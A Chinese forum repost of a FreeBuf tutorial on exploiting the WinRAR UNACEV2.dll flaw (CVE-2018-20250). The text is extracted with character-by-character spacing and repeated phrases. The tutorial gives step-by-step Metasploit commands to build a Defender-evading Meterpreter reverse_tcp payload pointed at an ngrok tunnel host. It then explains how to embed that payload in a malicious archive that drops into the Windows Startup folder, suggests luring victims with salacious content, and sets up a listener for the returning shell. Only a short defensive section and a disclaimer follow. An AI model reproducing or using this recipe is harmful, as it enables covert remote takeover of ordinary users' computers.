搜索

[13854] 2019-03-11_WinRAR远程代码执行漏洞结合Metasploit+Ngrok实现远程上线

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2019-03-11_WinRAR远程代码执行漏洞结合Metasploit+Ngrok实现远程上线 W i n R A R 远 程 代 码 执 行 漏 洞 结 合 M e t a s p l o i t + N g r o k 实 现 远 程 上 线 艾 登 — — 皮 尔 斯   F r e e B u f   2 0 1 9 - 0 3 - 1 1 前 言 前 言 W i n d o w s   操 作 系 统 下 知 名 老 牌 的 的 压 缩 软 件 操 作 系 统 下 知 名 老 牌 的 的 压 缩 软 件 “ W i n R A R ”   被 国 外 安 全 研 究 团 队 爆 出 严 重 威 胁 用 户 的 安 全 漏 洞 ， 被 被 国 外 安 全 研 究 团 队 爆 出 严 重 威 胁 用 户 的 安 全 漏 洞 ， 被 发 现 漏 洞 是 发 现 漏 洞 是 “ W i n R A R ” 安 装 目 录 中 的 一 个 名 为 安 装 目 录 中 的 一 个 名 为 “ U N A C E V 2 . d l l ” 的 动 态 链 接 库 文 件 ， 该 文 件 自 的 动 态 链 接 库 文 件 ， 该 文 件 自   2 0 0 5   年 发 布 至 今 年 发 布 至 今 就 从 未 有 过 更 新 过 ， 影 响 时 长 长 达 十 余 年 之 久 。 本 篇 文 章 鄙 人 会 使 用 图 文 就 从 未 有 过 更 新 过 ， 影 响 时 长 长 达 十 余 年 之 久 。 本 篇 文 章 鄙 人 会 使 用 图 文 + 视 频 的 教 程 来 给 各 位 不 知 道 利 用 的 小 视 频 的 教 程 来 给 各 位 不 知 道 利 用 的 小 粉 们 讲 一 下 ， 视 频 教 程 在 文 末 尾 处 。 粉 们 讲 一 下 ， 视 频 教 程 在 文 末 尾 处 。 漏 洞 细 节 :   h t t p s : / / r e s e a r c h . c h e c k p o i n t . c o m / e x t r a c t i n g - c o d e - e x e c u t i o n - f r o m - w i n r a r / 影 响 版 本 影 响 版 本 准 备 准 备 图 文 教 程 开 始 图 文 教 程 开 始 1 . 1   下 载 W i n R A R 远 程 代 码 执 行 漏 洞 E X P 利 用 文 件 : h t t p s : / / g i t h u b . c o m / W y A t u / C V E - 2 0 1 8 - 2 0 2 5 0 . g i t W i n R A R   <   5 . 7 0   B e t a   1 B a n d i z i p <   =   6 . 2 . 0 . 0 好 压 ( 2 3 4 5 压 缩 )   <   =   5 . 9 . 8 . 1 0 9 0 7 3 6 0 压 缩 <   =   4 . 0 . 0 . 1 1 7 0 K a l i L i n u x ( 版 本 随 意 我 这 里 使 用 的 版 本 是 2 0 1 9 . 1 版 本 ) n g r o k M e t a s p l o i t ( K a l i L i n u x 2 0 1 9 . 1 已 经 集 成 了 M e t a s p l o i t 5 )
1 . 2   打 开 你 的 浏 览 器 打 开 h t t p s : / / w w w . n g r o k . c c /   有 账 号 登 录 ， 没 有 账 户 注 册 登 录 。 开 通 一 个 免 费 的 隧 道 转 发 代 理 ， 把 n g r o k 隧 道 协 议 设 置 成 T C P ， 内 网 I P 改 成 你 自 己 的 K a l i L i n u x 的 内 网 I P ， 内 网 端 口 号 任 意 填 写 不 冲 突 即 可 。 1 . 3   记 住 如 图 所 示 红 线 框 起 来 的 两 部 分 内 容 ， 后 面 会 用 到 。 1 . 4   然 后 下 载 n g r o k 脚 本 到 你 的 K a l i L i n u x 上 面 ， 选 择 ” L i n u x   6 4 B i t 版 本 ” 保 存 到 桌 面 上 ， 运 行 脚 本 开 启 代 理 。 . / s u n n y   c l i e n t i d   [ 隧 道 I D ]
M e t a s p l o i t 生 成 免 杀 P a y l o a d   载 荷 ( 针 对 W i n d o w s 1 0 的 d e f e n d e r ) 2 . 1   使 用 M e t a s p l o i t 5 自 带 的 免 杀 模 块 生 成 P a y l o a d m s f c o n s o l e u s e   e v a s i o n / w i n d o w s / w i n d o w s _ d e f e n d e r _ e x e ( 选 择 m s f 5 免 杀 模 块 ) s h o w   i n f o ( 显 示 模 块 信 息 ) s e t   f i l e n a m e   W i n R a r P a y l o a d T e s t . e x e ( 设 置 P a y l o a d 名 字   ) s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p ( 设 置 P a y l o a d 类 型   ) s e t   l h o s t   f r e e . i d c f e n g y e . c o m ( 设 置 上 线 地 址 ， 填 写 N g r o k 映 射 出 去 的 地 址 即 可 ) s e t   l p o r t   1 2 3 5 2 ( 设 置 监 听 端 口 ， 填 写 N g r o k 映 射 出 去 的 端 口 即 可   ) r u n ( 生 成 P a y l o a d )
( P a y l o a d 的 路 径 地 址 : / r o o t / . m s f 4 / l o c a l / W i n R a r P a y l o a d . e x e ) 2 . 2   把 P a y l o a d 移 动 到 a p a c h e 2 网 站 根 目 录 下 2 . 3   启 动 阿 帕 奇 服 务 2 . 4   物 理 机 访 问 K a l i L i n u x 的 I P 地 址 ， 下 载 这 个 P a y l o a d 文 件 到 E X P 文 件 夹 下 的 根 目 录 。 2 . 5   打 开 e x p . p y 文 件 把 “ c a l c . e x e “ 修 改 成 ” W i n R a r P a y l o a d . e x e ” 保 存 。 2 . 6   P y t h o n 运 行 e x p . p y 文 件 自 动 在 文 件 根 目 录 下 生 成 恶 意 压 缩 包 。 c p   / r o o t / . m s f 4 / l o c a l / x x x x x . e x e   / v a r / w w w / h t m s e r v i c e   a p a c h e 2   s t a r t
2 . 7   已 经 成 功 生 成 了 恶 意 的 压 缩 包 ， 这 时 候 你 们 往 里 面 丢 一 些 照 片 视 频 ( 你 懂 的 ) 什 么 的 就 变 成 了 诱 人 的 压 缩 包 了 。 W i n d o w s 7 靶 机 下 载 解 压 这 个 恶 意 压 缩 包 ： 3 . 1   解 压 后 自 动 在 系 统 启 动 目 录 下 自 动 出 现 我 们 之 前 生 成 的 P a y l o a d 。
W i n d o w s 7 系 统 启 动 目 录 : C : U s e r s A d m i n i s t r a t o r A p p D a t a R o a m i n g M i c r o s o f t W i n d o w s S t a r t M e n u P r o g r a m s S t a r t u p 。 M e t a s p l o i t 启 动 远 程 监 听 主 机 上 线 请 求 : m s f c o n s o l e u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   1 9 2 . 1 6 8 . 0 . 1 0 7 s e t   l p o r t   8 9 8 9 r u n
确 保 n g r o k 后 台 在 运 行 , 然 后 重 启 W i n d o w s 7 靶 机 ， m e t a s p l o i t 监 听 等 待 上 线 。 视 频 复 现 教 程 视 频 复 现 教 程 h t t p s : / / w w w . l a n z o u s . c o m / i 3 a 0 i d e   密 码 : F r e e B u f 防 御 方 法 防 御 方 法 1 .   卸 载 W i n r a r ， 下 载 7 z ， 安 装 包 体 积 小 ， 压 缩 解 压 速 度 快 2 .   删 除 U N A C E V 2 . d l l 文 件
3 .   不 下 载 解 压 来 历 不 明 的 压 缩 包 ( 色 字 头 上 一 把 刀 ， 手 冲 一 时 爽 ) 小 结 小 结 e v a s i o n / w i n d o w s / w i n d o w s d e f e n d e r e x e 这 个 免 杀 模 块 基 本 可 以 免 杀 大 多 杀 毒 软 件 ( W i n d o w s 1 0   D e f e n d e r , 火 绒 等 等 ) ， 也 可 以 通 过 S h l l e c o d e 编 码 的 方 式 来 达 到 免 杀 的 效 果 ， 条 条 大 路 通 罗 马 。 其 次 你 也 可 以 使 用 W i n d o w s 平 台 下 的 其 他 远 程 R A T ( N j r a t ， G h o s t 等 等 ) 来 生 成 恶 意 的 压 缩 包 ， W i n d o w s 平 台 的 内 网 穿 透 工 具 可 以 使 用 " 网 络 通 " ， 来 达 到 效 果 。 文 章 和 视 频 仅 用 于 安 全 教 育 的 范 畴 ； 切 勿 违 法 使 用 ， 视 频 配 B G M 是 鄙 人 喜 好 ， 望 各 位 前 辈 多 多 包 涵 。 * 本 文 作 者 ： 艾 登 本 文 作 者 ： 艾 登 — — 皮 尔 斯 ， 本 文 属 皮 尔 斯 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理